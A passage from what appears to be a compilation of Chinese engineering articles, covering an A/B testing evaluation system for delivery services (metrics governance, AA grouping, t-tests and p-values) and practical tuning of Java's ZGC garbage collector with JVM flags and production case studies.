据用户在实验配置管理模块选取的用于说明实验效果的指标、分流埋点上报模块记录

的日志，自动地产生各实验的实验报告，供实验观察者使用，然后根据实验效果帮助

他们作出正确的决策。具体流程如下图所示：
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2. 为什么要强调评估体系建设

2.1	分流业务场景需要

业 界 的 A/B 平 台 建 设 基 本 以《Overlapping Experiment Infrastructure: More, 

Better, Faster Experimentation》这篇论文为蓝本进行展开， 引入分层模型以及在

分流算法中加入层编号因子来解决“流量饥饿”和“正交”问题，并且通过引入域的

概念，支持域和层之间的相互嵌套，使分层实验模型更加灵活，进而满足多种场景下

的 A/B 诉求。如下图所示，将流量通过 Hash 取模的方式即可实现流量的均匀划分。

这种是面向 C 端用户进行流量选择的传统 A/B 实验，采用上述的分流方式基于这样

的假设：参与实验的流量因子是相互独立的、随机的，服从独立同分布。但是，配送

业务场景下的 A/B 实验，涉及到用户、骑手、商家三端，请求不独立，策略之间相互

影响并且受线下因素影响较大。传统 A/B 实验的分流方式，无法保证分出的两个群组
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实验组和对照组的流量都是无差别的，无法避免因流量分配不平衡而导致的 A/B 群组

差异过大问题，很容易造成对实验结果的误判。为满足不同业务场景的诉求，我们的

A/B 平台建设采取了多种分流策略，如下图所示：

针对策略之间的相互影响、请求不独立场景下的 A/B 实验，我们采取限流准入的分流

方式，针对不同的实验，选取不同的分流因子。在实验前，我们通过 AA 分组，找出

无差别的实验组和对照组，作为我们实验分流配置的依据，这种分流方式要求我们要

有一套完整刻画流量因子的指标体系，只要刻画流量因子的指标间无统计显著性，我

们就认为分出的实验组和对照组无差别。

2.2	业务决策的重要依据

在实验后的效果评估环节，通常允许实验者用自定义的指标来衡量不同策略带来的影

响。但这样做会带来如下两个问题：

 ● 首先，由实验者来负责实验效果的评估，很难做到客观。同时也无法避免实验

者仅仅选择支持自己假设的指标，来证明自己的实验结论；

 ● 其次，所有的策略迭代都是为业务服务，如果实验者用自定义的、与业务认知

不一致的指标，来说明实验效果、推动业务灰度，这种方式往往难以被采纳。

因此，权威的评估体系对于对齐大家认知，并帮助我们在策略迭代方面作出正确的决

策，尤为重要。

3.A/B 评估体系构建

A/B 评估体系的构建，要解决 A/B 平台两个核心问题：
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 ● 第一，要有一套用于刻画流量因子（区域、骑手、商家）的权威的、完备的指

标体系，帮助实验者完成实验前的 AA 分组和实验后的效果评估；

 ● 第二，要建立一套科学的评估方法，帮助实验者作出正确的决策。

3.1	权威完备的指标体系

指标的权威性体现在：刻画分流因子，用于实验前 AA 分组和证明实验假设的指标，

必须经过治理且业务认知一致，这样才能对齐认知，使得实验结果更具说服力；指标

的完备性体现在：评估体系中的指标，不仅要有经过第三方独立生产治理且各业务方

认知一致的治理指标，而且还要有实验者为了更全面的分析，描述实验过程，自定义

的探索指标。

3.1.1	整体架构

治理指标强调的是指标的权威性和生产的规范性，而探索性指标强调的是指标的多样

性和生产的灵活性。在评估体系中要实现这两类指标的统一，既要包含用于说明实验

效果的治理指标，又要包含帮助实验者更好迭代实验所需的探索指标。

为实现上述的统一，指标层面要有分级运营的策略：治理指标按照业务认知一致性和

算法内部认知一致性分别定级为 P0、P1，这一类指标在生产前必须要有严格的注

册、评审，生产环节需要交给独立的第三方团队（数据团队）生产，保证指标的权威

性，产出后打通指标与字段的映射关系，对用户屏蔽底层实现逻辑；对于探索性指

标，定级为 P2，强调的是生产的灵活性和快速实现，因此，它的生产就不宜带有指

标注册和评审等环节。为保证其快速实现，希望基于物理表和简单的算子配置就可以

实现效果分析时即席查询使用。基于如上的问题拆解，我们进行了如下的架构设计：
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3.1.2	数据集成

为了支持监控和分析，在数据集成环节，我们集成了实验配置数据、业务数据和染色

数据，以便实验者在效果评估环节不仅可以查看流量指标（PV、UV 和转化率），也

可以深入探索策略变动对业务带来的影响。对于那些在实验配置环节不能确定流量是

否真正参加实验的场景（例如：选择了特定区域进行实验，该区域产生的单只有满足

特定条件时才能触发实验），我们不能直接通过限制确定的区域来查看业务指标。因

为，此时查看的指标并不是真正参与实验的流量所对应的指标。因此在数据集成环

节，我们同时将实验前的实验配置数据和实验中的染色数据（针对每个参与实验的流

量，每次操作所产生的数据，都会打上实验场景、实验组以及具体的分组标记，我们

该数据为染色数据）同步到数仓。在数据基建环节，将业务数据模型和染色数据模型

通过流量实体作为关联条件进行关联，构建实验粒度模型。

3.1.3	数据基建

在数据基建层，我们基于指标分级运营的思路，由数据团队和算法团队分别构建实

体粒度（区域、骑手、GeoHash）和实验粒度的实体宽表模型，以满足 P0/P1 指标

和 P2 指标的诉求；为实现指标的规范化建设和灵活建设的统一，在物理模型和对外
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提供应用的指标池之间，我们提供了元数据管理工具和模型配置工具，从而实现离线

数据快速接入评估体系的指标池。由数据团队建设的实体宽表模型，对应着治理指标

（P0/P1 指标），必须在生产后通过元数据管理工具完成指标与物理字段的映射，将指

标的加工口径封装在数据层，对用户屏蔽物理实现，确保治理指标的一致性。由算法

团队独立建设的实体宽表模型，对应着挖掘指标（P2 指标），为确保其接入评估体系

指标池的灵活性和方便性，我们在数据基建环节，通过标签的形式对指标口径做部分

封装，在模型配置环节完成指标逻辑的最终加工。

3.1.4	元数据管理

元数据管理层，是实现指标权威性的关键。治理指标在本层实现注册、评审，达到业

务认知一致性和算法内部认知一致性的目的。同时，本层还完成了治理指标与数据基

建层物理模型之间的绑定，为后续的模型配置建立基础。

3.1.5	模型配置

模型配置工具，是打通物理模型与评估指标池的桥梁，它通过输入组件、操作组件和

应用组件，将离线数据接入到评估体系中，满足实验前 AA 分组和实验后 AB 评估的

需求。首先，输入组件可以对应不同的数据源，既可以接入治理的离线指标，也可以

接入特定库下的物理表。其次，操作组件提供了分组操作、算子操作、过滤操作和测

试操作，通过分组操作，确定模型包含的维度；通过算子操作，将算子作用在指标或

标签字段上，在取数环节实现指标的二次计算；通过过滤操作，实现数据的过滤；通

过测试操作，保证模型配置质量。最后，应用组件可以将配置的模型注册到不同的应

用上，针对 A/B 场景主要是 AA 分组和 AB 评估。具体接入流程如下图所示：
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3.2	科学权威的评估方式

评估报告的可靠和权威性主要体现在两个方面：一是评估指标的可靠性和权威性；二

是评估方式的科学性。在上一节中，我们重点讨论了如何构建可靠权威的指标体系。

在这一节，我们重点讨论如何进行科学的评估。

在讨论科学评估之前，我们再重温一下 A/B 实验的定义：A/B 实验，简单来说，就是

为同一个目标制定两个版本或多个版本的方案，在同一时间维度，分别让组成成分相

同（相似）的 A/B 群组分别采用这些版本，收集各群组的体验数据和业务数据，最后

分析、评估出最好版本，正式采用。其中 A 方案为现行的设计（称为控制组）， B 方案

是新的设计（称为实验组）。分析 A/B 实验的定义，要实现科学权威的评估，最重要

的两点在于：

 ● 第一，确保在实验前分出无差别的实验组和对照组，避免因流量分配不平衡导

致的 AB 群组差异过大，最终造成对于实验结果的误判；
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 ● 第二，确保对实验结果作出准确的判断，能够准确的判断新策略相对于旧策

略的优势是不是由自然波动引起的，它的这一优势能否在大规模的推广中反

映出来。

无论是实验前确保实验组和对照组流量无显著性差异，还是实验后新策略较旧策略的

指标变动是否具有统计上的显著性，无一例外，它们都蕴含着统计学的知识。接下

来，我们重点论述一下 A/B 实验所依赖的统计学基础以及如何依据统计学理论做出科

学评估。

3.2.1	假设检验

3.2.1.1		两个假设

A/B 测试是一种对比试验，我们圈定一定的流量进行实验，实验结束后，我们基于

实验样本进行数据统计，进而验证实验前假设的正确性，我们得出这一有效结论的科

学依据便是假设检验。假设检验是利用样本统计量估计总体参数的方法，在假设检验

中，先对总体均值提出一个假设，然后用样本信息去检验这个假设是否成立。我们把

提出的这个假设叫做原假设，与原假设对立的结论叫做备择假设，如果原假设不成

立，就要拒绝原假设，进而接受备择假设。

3.2.1.2		两类错误

对于原假设提出的命题，我们需要作出判断，要么原假设成立，要么原假设不成立。

因为基于样本对总体的推断，会面临着犯两种错误的可能：第一类错误，原假设为

真，我们却拒绝了；第二类错误，原假设为伪，我们却接受了。显然，我们希望犯这

两类错误的概率越小越好，但对于一定的样本量 n，不能同时做到犯这两类错误的概

率很小。

在假设检验中，就有一个对两类错误进行控制的问题。一般来说，哪一类错误所带来

的后果严重、危害越大，在假设检验中就应该把哪一类错误作为首要的控制目标。在

假设检验中，我们都执行这样一个原则，首先控制犯第一类错误的概率。这也是为什

么我们在实际应用中会把要推翻的假设作为原假设，这样得出的结论更具说服力（我
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们有足够充分的证据证明原来确定的结论是错误的），所以通常会看到，我们把要证

明的结论作为备择假设。

3.2.1.3		T 检验

常见的假设检验方法有 Z 检验、T 检验和卡方检验等，不同的方法有不同的适用条件

和检验目标。Z 检验和 T 检验都是用来推断两个总体均值差异的显著性水平，具体选

择哪种检验由样本量的大小、总体的方差是否已知决定。在样本量较小且总体的方差

未知的情况下，这时只能使用样本方差代替总体方差，样本统计量服从 T 分布，应该

采用 T 统计量进行检验。T 统计量具体构造公式如下图所示，其中 f 是 T 统计量的自

由度，S1、S2 是样本标准差。

T 检验的流程是，在给定的弃真错误概率下（一般取 0.05），依据样本统计量 T 是否

落在拒绝域来判断接受还是拒绝原假设。实际上在确定弃真错误概率以后，拒绝域的

位置也就相应地确定了。使用 T 统计量进行判断的好处是，进行决策的界限清晰，但

缺陷是决策面临的风险是笼统的。例如 T=3 落入拒绝域，我们拒绝原假设，犯弃真

错误的概率为 0.05；T=2 也落入拒绝域，我们拒绝原假设，犯弃真错误的概率也是

0.05。事实上，依据不同的统计量进行决策，面临的风险也是有差别的。为了精确地

反映决策的风险度，我们仍然需要 P 值来帮助业务来做决策。



374　>　美团 2020 技术年货

3.2.1.4		利用 P值决策

P 值是当原假设为真时，所得到的样本观察结果或更极端的结果出现的概率。如果 P

值很小，说明这种情况发生的概率很小，但是在这次试验中却出现了，根据小概率原

理，我们有理由拒绝原假设，P 值越小，我们拒绝原假设的理由越充分。P 值可以理

解为犯弃真错误的概率，在确定的显著性水平下（一般取 0.05），P 值小于显著性水

平，则拒绝原假设。

3.2.2	基于假设检验的科学评估

围绕着科学评估要解决的两个问题，实验前，针对圈定的流量使用假设检验加上动态

规划算法，确保分出无差别的实验组和对照组；实验后，基于实验前选定的用于验证

假设结论的指标，构造 T 统计量并计算其对应的 P 值，依据 P 值帮我们做决策。

3.2.2.1		AA 分组

首先看如何解决第一个问题：避免因流量分配不平衡，A/B 组本身差异过大造成对实

验结果的误判。为解决该问题，我们引入了 AA 分组：基于实验者圈定的流量，通过

AA 分组将该流量分为无显著性差异的实验组和对照组。我们这样定义无显著性差异

这一约束：首先，实验者选取的用于刻画实验流量的指标，在实验组和对照组之间无

统计上的显著性（即上节所描述的基于均值的假设检验）；其次，在所分出的实验组和

对照组之间，这些指标的差值最小，即一个寻找最优解的过程。从实验者的实验流程

看，在实验前，圈定进入该实验的流量，然后确定用于刻画实验流量的指标，最后调

用 AA 分组，为其将流量分成合理的实验组和对照组。
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3.2.2.2		A/B 效果评估

A/B 效果评估是实验者在实验后，依据评估报告进行决策的重要依据。 因此，我们在

实验后的效果评估环节，效果评估要达成三个目标即权威、灵活性和方便。首先，权

威性体现在用于作出实验结论所依赖的指标都是经过治理、各方达成一致的指标，并

且确保数据一致性，最终通过假设检验给出科学的实验结论，帮助实验者作出正确的

判断。其次，灵活性主要体现在采用列转行的形式，按需自动生成报表告别“烟囱

式”的报表开发方式。第三，方便主要体现在不仅可以查看用于说明实验效果的指

标，还可以选择查看接入到评估体系里的任意指标；不仅可以查看其实验前后对比以

及趋势变化，还可以做到从实验粒度到流量实体粒度的下钻。效果如下图所示：
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3.2.2.3		技术实现

不管是实验前的 AA 分组，还是实验后的效果评估，我们要解决的一个核心问题就是

如何灵活地“取数”，为我们的 AA 分组和 AB 效果分析提供一个灵活稳定的取数服

务。因此，我们整个架构的核心就是构建稳定、灵活的取数服务，具体架构如下图所

示。离线建模和指标模型管理完成数据和元数据建设，建立权威完备的指标体系；中

间的取数服务作为上层各应用服务和指标体系的“桥梁”，为上层各应用服务提供其

所依赖的指标。
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4. 总结与展望

目前，A/B 测试已成为许多互联网公司评估其新产品策略和方法的“金标准”，在美

团配送业务场景下，它被广泛应用于调度策略、定价策略、运力优化、ETA 时间预

估等业务场景，为我们的策略迭代制定数据驱动型决策。特别是针对配送场景下这种

策略之间相互影响，请求不独立场景下的 A/B 实验，结合配送技术团队的具体实践，

跟大家分享了我们目前的解决思路。

最后再补充一点，在 A/B 测试领域，实验的流量规模应该有足够的统计能力，才能确

保指标的变化有统计意义的，为了更好地达到这个目标，未来我们将通过辅助工具建

设，在实验前，依据实验者所关注的指标以及敏感度给出流量规模的建议，方便实验

者在实验前快速地圈定其实验所需的流量。
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王鹏，2016 年加入美团点评，目前在配送事业部数据团队负责众包业务数据建设、数据治理及
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新一代垃圾回收器ZGC的探索与实践

作者：王东　王伟

ZGC（The Z Garbage Collector）是 JDK 11 中推出的一款低延迟垃圾回收器，它

的设计目标包括：

 ● 停顿时间不超过 10ms；

 ● 停顿时间不会随着堆的大小，或者活跃对象的大小而增加；

 ● 支持 8MB~4TB 级别的堆（未来支持 16TB）。

从设计目标来看，我们知道 ZGC 适用于大内存低延迟服务的内存管理和回收。本文

主要介绍 ZGC 在低延时场景中的应用和卓越表现，文章内容主要分为四部分：

 ● GC之痛：介绍实际业务中遇到的 GC 痛点，并分析 CMS 收集器和 G1 收集

器停顿时间瓶颈；

 ● ZGC原理：分析 ZGC 停顿时间比 G1 或 CMS 更短的本质原因，以及背后的

技术原理；

 ● ZGC调优实践：重点分享对 ZGC 调优的理解，并分析若干个实际调优案例；

 ● 升级ZGC效果：展示在生产环境应用 ZGC 取得的效果。

GC 之痛

很多低延迟高可用 Java 服务的系统可用性经常受 GC 停顿的困扰。GC 停顿指垃圾

回收期间 STW（Stop The World），当 STW 时，所有应用线程停止活动，等待 GC

停顿结束。以美团风控服务为例，部分上游业务要求风控服务 65ms 内返回结果，并

且可用性要达到 99.99%。但因为 GC 停顿，我们未能达到上述可用性目标。当时使

用的是 CMS 垃圾回收器，单次 Young GC 40ms，一分钟 10 次，接口平均响应时

间 30ms。通过计算可知，有（40ms + 30ms) * 10 次 / 60000ms = 1.12% 的请求

的响应时间会增加 0 ~ 40ms 不等，其中 30ms * 10 次 / 60000ms = 0.5% 的请求

https://wiki.openjdk.java.net/display/zgc/Main
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响应时间会增加 40ms。可见，GC 停顿对响应时间的影响较大。为了降低 GC 停顿对

系统可用性的影响，我们从降低单次 GC 时间和降低 GC 频率两个角度出发进行了调

优，还测试过 G1 垃圾回收器，但这三项措施均未能降低 GC 对服务可用性的影响。

CMS 与 G1 停顿时间瓶颈

在介绍 ZGC 之前，首先回顾一下 CMS 和 G1 的 GC 过程以及停顿时间的瓶颈。

CMS 新生代的 Young GC、G1 和 ZGC 都基于标记 - 复制算法，但算法具体实现

的不同就导致了巨大的性能差异。

标记 - 复制算法应用在 CMS 新生代（ParNew 是 CMS 默认的新生代垃圾回收器）

和 G1 垃圾回收器中。标记 - 复制算法可以分为三个阶段：

 ● 标记阶段，即从 GC Roots 集合开始，标记活跃对象；

 ● 转移阶段，即把活跃对象复制到新的内存地址上；

 ● 重定位阶段，因为转移导致对象的地址发生了变化，在重定位阶段，所有指向

对象旧地址的指针都要调整到对象新的地址上。

下面以 G1 为例，通过 G1 中标记 - 复制算法过程（G1 的 Young GC 和 Mixed GC

均采用该算法），分析 G1 停顿耗时的主要瓶颈。G1 垃圾回收周期如下图所示：
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G1 的混合回收过程可以分为标记阶段、清理阶段和复制阶段。

标记阶段停顿分析

 ● 初始标记阶段：初始标记阶段是指从 GC Roots 出发标记全部直接子节点的过

程，该阶段是 STW 的。由于 GC Roots 数量不多，通常该阶段耗时非常短。

 ● 并发标记阶段：并发标记阶段是指从 GC Roots 开始对堆中对象进行可达性分

析，找出存活对象。该阶段是并发的，即应用线程和 GC 线程可以同时活动。

并发标记耗时相对长很多，但因为不是 STW，所以我们不太关心该阶段耗时

的长短。

 ● 再标记阶段：重新标记那些在并发标记阶段发生变化的对象。该阶段是 STW 的。

清理阶段停顿分析

 ● 清理阶段清点出有存活对象的分区和没有存活对象的分区，该阶段不会清理垃

圾对象，也不会执行存活对象的复制。该阶段是 STW 的。

复制阶段停顿分析

 ● 复制算法中的转移阶段需要分配新内存和复制对象的成员变量。转移阶段是

STW 的，其中内存分配通常耗时非常短，但对象成员变量的复制耗时有可能

较长，这是因为复制耗时与存活对象数量与对象复杂度成正比。对象越复杂，

复制耗时越长。

四个 STW 过程中，初始标记因为只标记 GC Roots，耗时较短。再标记因为对象数

少，耗时也较短。清理阶段因为内存分区数量少，耗时也较短。转移阶段要处理所有

存活的对象，耗时会较长。因此，G1 停顿时间的瓶颈主要是标记 - 复制中的转移阶

段 STW。为什么转移阶段不能和标记阶段一样并发执行呢？主要是 G1 未能解决转

移过程中准确定位对象地址的问题。

G1 的 Young GC 和 CMS 的 Young GC，其标记 - 复制全过程 STW，这里不再

详细阐述。
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ZGC 原理

全并发的ZGC

与 CMS 中的 ParNew 和 G1 类似，ZGC 也采用标记 - 复制算法，不过 ZGC 对该

算法做了重大改进：ZGC 在标记、转移和重定位阶段几乎都是并发的，这是 ZGC 实

现停顿时间小于 10ms 目标的最关键原因。

ZGC 垃圾回收周期如下图所示：

ZGC 只有三个 STW 阶段：初始标记，再标记，初始转移。其中，初始标记和初始

转移分别都只需要扫描所有 GC Roots，其处理时间和 GC Roots 的数量成正比，一

般情况耗时非常短；再标记阶段 STW 时间很短，最多 1ms，超过 1ms 则再次进入

并发标记阶段。即，ZGC 几乎所有暂停都只依赖于 GC Roots 集合大小，停顿时间

不会随着堆的大小或者活跃对象的大小而增加。与 ZGC 对比，G1 的转移阶段完全

STW 的，且停顿时间随存活对象的大小增加而增加。

ZGC关键技术

ZGC 通过着色指针和读屏障技术，解决了转移过程中准确访问对象的问题，实现了

并发转移。大致原理描述如下：并发转移中“并发”意味着 GC 线程在转移对象的过
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程中，应用线程也在不停地访问对象。假设对象发生转移，但对象地址未及时更新，

那么应用线程可能访问到旧地址，从而造成错误。而在 ZGC 中，应用线程访问对象

将触发“读屏障”，如果发现对象被移动了，那么“读屏障”会把读出来的指针更新

到对象的新地址上，这样应用线程始终访问的都是对象的新地址。那么，JVM 是如

何判断对象被移动过呢？就是利用对象引用的地址，即着色指针。下面介绍着色指针

和读屏障技术细节。

着色指针

着色指针是一种将信息存储在指针中的技术。

ZGC 仅支持 64 位系统，它把 64 位虚拟地址空间划分为多个子空间，如下图所示：

其中，[0~4TB) 对应 Java 堆，[4TB ~ 8TB) 称为 M0 地址空间，[8TB ~ 12TB) 称为

M1 地址空间，[12TB ~ 16TB) 预留未使用，[16TB ~ 20TB) 称为 Remapped

空间。

当应用程序创建对象时，首先在堆空间申请一个虚拟地址，但该虚拟地址并不会映射

到真正的物理地址。ZGC 同时会为该对象在 M0、M1 和 Remapped 地址空间分别

申请一个虚拟地址，且这三个虚拟地址对应同一个物理地址，但这三个空间在同一时

间有且只有一个空间有效。ZGC 之所以设置三个虚拟地址空间，是因为它使用“空

间换时间”思想，去降低 GC 停顿时间。“空间换时间”中的空间是虚拟空间，而不

是真正的物理空间。后续章节将详细介绍这三个空间的切换过程。

与上述地址空间划分相对应，ZGC 实际仅使用 64 位地址空间的第 0~41 位，而第

42~45 位存储元数据，第 47~63 位固定为 0。
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ZGC 将对象存活信息存储在 42~45 位中，这与传统的垃圾回收并将对象存活信息放

在对象头中完全不同。

读屏障

读屏障是 JVM 向应用代码插入一小段代码的技术。当应用线程从堆中读取对象引

用时，就会执行这段代码。需要注意的是，仅“从堆中读取对象引用”才会触发这

段代码。

读屏障示例：

Object o = obj.FieldA   // 从堆中读取引用，需要加入屏障
<Load barrier>
Object p = o  // 无需加入屏障，因为不是从堆中读取引用
o.dosomething() // 无需加入屏障，因为不是从堆中读取引用
int i =  obj.FieldB  //无需加入屏障，因为不是对象引用

ZGC 中读屏障的代码作用：在对象标记和转移过程中，用于确定对象的引用地址是

否满足条件，并作出相应动作。

ZGC并发处理演示

接下来详细介绍 ZGC 一次垃圾回收周期中地址视图的切换过程：

 ● 初始化：ZGC 初始化之后，整个内存空间的地址视图被设置为 Remapped。

程序正常运行，在内存中分配对象，满足一定条件后垃圾回收启动，此时进入

标记阶段。

 ● 并发标记阶段：第一次进入标记阶段时视图为 M0，如果对象被 GC 标记

线程或者应用线程访问过，那么就将对象的地址视图从 Remapped 调整
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为 M0。所以，在标记阶段结束之后，对象的地址要么是 M0 视图，要么是

Remapped。如果对象的地址是 M0 视图，那么说明对象是活跃的；如果对象

的地址是 Remapped 视图，说明对象是不活跃的。

 ● 并发转移阶段：标记结束后就进入转移阶段，此时地址视图再次被设置为

Remapped。如果对象被 GC 转移线程或者应用线程访问过，那么就将对象

的地址视图从 M0 调整为 Remapped。

其实，在标记阶段存在两个地址视图 M0 和 M1，上面的过程显示只用了一个地址视

图。之所以设计成两个，是为了区别前一次标记和当前标记。也即，第二次进入并发

标记阶段后，地址视图调整为 M1，而非 M0。

着色指针和读屏障技术不仅应用在并发转移阶段，还应用在并发标记阶段：将对象设

置为已标记，传统的垃圾回收器需要进行一次内存访问，并将对象存活信息放在对象

头中；而在 ZGC 中，只需要设置指针地址的第 42~45 位即可，并且因为是寄存器访

问，所以速度比访问内存更快。

ZGC调优实践

ZGC 不是“银弹”，需要根据服务的具体特点进行调优。网络上能搜索到实战经验

较少，调优理论需自行摸索，我们在此阶段也耗费了不少时间，最终才达到理想的性

能。本文的一个目的是列举一些使用 ZGC 时常见的问题，帮助大家使用 ZGC 提高

服务可用性。
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调优基础知识

理解ZGC重要配置参数

以我们服务在生产环境中 ZGC 参数配置为例，说明各个参数的作用：

重要参数配置样例：

-Xms10G -Xmx10G 
-XX:ReservedCodeCacheSize=256m -XX:InitialCodeCacheSize=256m 
-XX:+UnlockExperimentalVMOptions -XX:+UseZGC 
-XX:ConcGCThreads=2 -XX:ParallelGCThreads=6 
-XX:ZCollectionInterval=120 -XX:ZAllocationSpikeTolerance=5 
-XX:+UnlockDiagnosticVMOptions -XX:-ZProactive 
-Xlog:safepoint,classhisto*=trace,age*,gc*=info:file=/opt/logs/logs/gc-
%t.log:time,tid,tags:filecount=5,filesize=50m 

-Xms	-Xmx：堆的最大内存和最小内存，这里都设置为 10G，程序的堆内存将

保 持 10G 不 变。 -XX:ReservedCodeCacheSize	-XX:InitialCodeCa-

cheSize：设置 CodeCache 的大小， JIT 编译的代码都放在 CodeCache 中，一般

服务 64m 或 128m 就已经足够。我们的服务因为有一定特殊性，所以设置的较大，

后面会详细介绍。 -XX:+UnlockExperimentalVMOptions	-XX:+UseZGC：

启用 ZGC 的配置。 -XX:ConcGCThreads：并发回收垃圾的线程。默认是总核

数的 12.5%，8 核 CPU 默认是 1。调大后 GC 变快，但会占用程序运行时的 CPU

资源，吞吐会受到影响。 -XX:ParallelGCThreads：STW 阶段使用线程数，默

认是总核数的 60%。 -XX:ZCollectionInterval：ZGC 发生的最小时间间隔，单

位秒。 -XX:ZAllocationSpikeTolerance：ZGC 触发自适应算法的修正系数，

默认 2，数值越大，越早的触发 ZGC。 -XX:+UnlockDiagnosticVMOptions	

-XX:-ZProactive： 是 否 启 用 主 动 回 收， 默 认 开 启， 这 里 的 配 置 表 示 关 闭。 

-Xlog：设置 GC 日志中的内容、格式、位置以及每个日志的大小。

理解ZGC触发时机

相比于 CMS 和 G1 的 GC 触发机制，ZGC 的 GC 触发机制有很大不同。ZGC 的

核心特点是并发，GC 过程中一直有新的对象产生。如何保证在 GC 完成之前，新
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产生的对象不会将堆占满，是 ZGC 参数调优的第一大目标。因为在 ZGC 中，当

垃圾来不及回收将堆占满时，会导致正在运行的线程停顿，持续时间可能长达秒级

之久。

ZGC 有多种 GC 触发机制，总结如下：

 ● 阻塞内存分配请求触发：当垃圾来不及回收，垃圾将堆占满时，会导致部分

线程阻塞。我们应当避免出现这种触发方式。日志中关键字是“Allocation 

Stall”。

 ● 基于分配速率的自适应算法：最主要的 GC 触发方式，其算法原理可简单描述

为”ZGC 根据近期的对象分配速率以及 GC 时间，计算出当内存占用达到什么

阈值时触发下一次 GC”。自适应算法的详细理论可参考彭成寒《新一代垃圾

回收器 ZGC 设计与实现》一书中的内容。通过 ZAllocationSpikeTolerance

参数控制阈值大小，该参数默认 2，数值越大，越早的触发 GC。我们通过调

整此参数解决了一些问题。日志中关键字是“Allocation Rate”。

 ● 基于固定时间间隔：通过 ZCollectionInterval 控制，适合应对突增流量场景。

流量平稳变化时，自适应算法可能在堆使用率达到 95% 以上才触发 GC。流

量突增时，自适应算法触发的时机可能会过晚，导致部分线程阻塞。我们通过

调整此参数解决流量突增场景的问题，比如定时活动、秒杀等场景。日志中关

键字是“Timer”。

 ● 主动触发规则：类似于固定间隔规则，但时间间隔不固定，是 ZGC 自行算出

来的时机，我们的服务因为已经加了基于固定时间间隔的触发机制，所以通

过 -ZProactive 参数将该功能关闭，以免 GC 频繁，影响服务可用性。 日志

中关键字是“Proactive”。

 ● 预热规则：服务刚启动时出现，一般不需要关注。日志中关键字是“War-

mup”。

 ● 外部触发：代码中显式调用 System.gc() 触发。 日志中关键字是“System.

gc()”。
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 ● 元数据分配触发：元数据区不足时导致，一般不需要关注。 日志中关键字是

“Metadata GC Threshold”。

理解ZGC日志

一次完整的 GC 过程，需要注意的点已在图中标出。

注意：该日志过滤了进入安全点的信息。正常情况，在一次 GC 过程中还穿插着进入

安全点的操作。

GC 日志中每一行都注明了 GC 过程中的信息，关键信息如下：

 ● Start：开始 GC，并标明的 GC 触发的原因。上图中触发原因是自适应算法。

 ● Phase-Pause	Mark	Start：初始标记，会 STW。

 ● Phase-Pause	Mark	End：再次标记，会 STW。

 ● Phase-Pause	Relocate	Start：初始转移，会 STW。

 ● Heap 信息：记录了 GC 过程中 Mark、Relocate 前后的堆大小变化状况。

High 和 Low 记录了其中的最大值和最小值，我们一般关注 High 中 Used 的

值，如果达到 100%，在 GC 过程中一定存在内存分配不足的情况，需要调整

GC 的触发时机，更早或者更快地进行 GC。

 ● GC信息统计：可以定时的打印垃圾收集信息，观察 10 秒内、10 分钟内、10

个小时内，从启动到现在的所有统计信息。利用这些统计信息，可以排查定位

一些异常点。
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日志中内容较多，关键点已用红线标出，含义较好理解，更详细的解释大家可以自行

在网上查阅资料。

理解ZGC停顿原因

我们在实战过程中共发现了 6 种使程序停顿的场景，分别如下：

 ● GC时，初始标记：日志中 Pause Mark Start。

 ● GC时，再标记：日志中 Pause Mark End。

 ● GC时，初始转移：日志中 Pause Relocate Start。

 ● 内存分配阻塞：当内存不足时线程会阻塞等待 GC 完成，关键字是”Allocation 

Stall”。
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 ● 安全点：所有线程进入到安全点后才能进行 GC，ZGC 定期进入安全点判断是

否需要 GC。先进入安全点的线程需要等待后进入安全点的线程直到所有线程

挂起。

 ● dump线程、内存：比如 jstack、jmap 命令。

调优案例

我们维护的服务名叫 Zeus，它是美团的规则平台，常用于风控场景中的规则管理。

规则运行是基于开源的表达式执行引擎 Aviator。Aviator 内部将每一条表达式转化成

Java 的一个类，通过调用该类的接口实现表达式逻辑。

Zeus 服务内的规则数量超过万条，且每台机器每天的请求量几百万。这些客观条件

导致 Aviator 生成的类和方法会产生很多的 ClassLoader 和 CodeCache，这些在

使用 ZGC 时都成为过 GC 的性能瓶颈。接下来介绍两类调优案例。

内存分配阻塞，系统停顿可达到秒级

案例一：秒杀活动中流量突增，出现性能毛刺

日志信息：对比出现性能毛刺时间点的 GC 日志和业务日志，发现 JVM 停顿了较长

时间，且停顿时 GC 日志中有大量的“Allocation Stall”日志。

分析：这种案例多出现在“自适应算法”为主要 GC 触发机制的场景中。ZGC 是一

款并发的垃圾回收器，GC 线程和应用线程同时活动，在 GC 过程中，还会产生新的

https://github.com/killme2008/aviator
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对象。GC 完成之前，新产生的对象将堆占满，那么应用线程可能因为申请内存失败

而导致线程阻塞。当秒杀活动开始，大量请求打入系统，但自适应算法计算的 GC 触

发间隔较长，导致 GC 触发不及时，引起了内存分配阻塞，导致停顿。

解决方法：

（1）开启”基于固定时间间隔“的 GC 触发机制：-XX:ZCollectionInterval。比如调

整为 5 秒，甚至更短。

（2）增大修正系数 -XX:ZAllocationSpikeTolerance，更早触发 GC。ZGC 采用正

态分布模型预测内存分配速率，模型修正系数 ZAllocationSpikeTolerance 默认值

为 2，值越大，越早的触发 GC，Zeus 中所有集群设置的是 5。

案例二：压测时，流量逐渐增大到一定程度后，出现性能毛刺

日志信息：平均 1 秒 GC 一次，两次 GC 之间几乎没有间隔。

分析：GC 触发及时，但内存标记和回收速度过慢，引起内存分配阻塞，导致停顿。

解决方法：增大 -XX:ConcGCThreads， 加快并发标记和回收速度。ConcGC-

Threads 默认值是核数的 1/8，8 核机器，默认值是 1。该参数影响系统吞吐，如果

GC 间隔时间大于 GC 周期，不建议调整该参数。

GC	Roots	数量大，单次GC停顿时间长

案例三：	单次GC停顿时间 30ms，与预期停顿 10ms左右有较大差距

日志信息：观察 ZGC 日志信息统计，“Pause Roots ClassLoaderDataGraph”一

项耗时较长。

分析：dump 内存文件，发现系统中有上万个 ClassLoader 实例。我们知道 Class-

Loader 属 于 GC Roots 一 部 分， 且 ZGC 停 顿 时 间 与 GC Roots 成 正 比，GC 

Roots 数量越大，停顿时间越久。再进一步分析，ClassLoader 的类名表明，这些

ClassLoader 均由 Aviator 组件生成。分析 Aviator 源码，发现 Aviator 对每一个表
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达式新生成类时，会创建一个 ClassLoader，这导致了 ClassLoader 数量巨大的问

题。在更高 Aviator 版本中，该问题已经被修复，即仅创建一个 ClassLoader 为所

有表达式生成类。

解决方法：升级 Aviator 组件版本，避免生成多余的 ClassLoader。

案例四：服务启动后，运行时间越长，单次GC时间越长，重启后恢复

日志信息：观察 ZGC 日志信息统计，“Pause Roots CodeCache”的耗时会随着

服务运行时间逐渐增长。

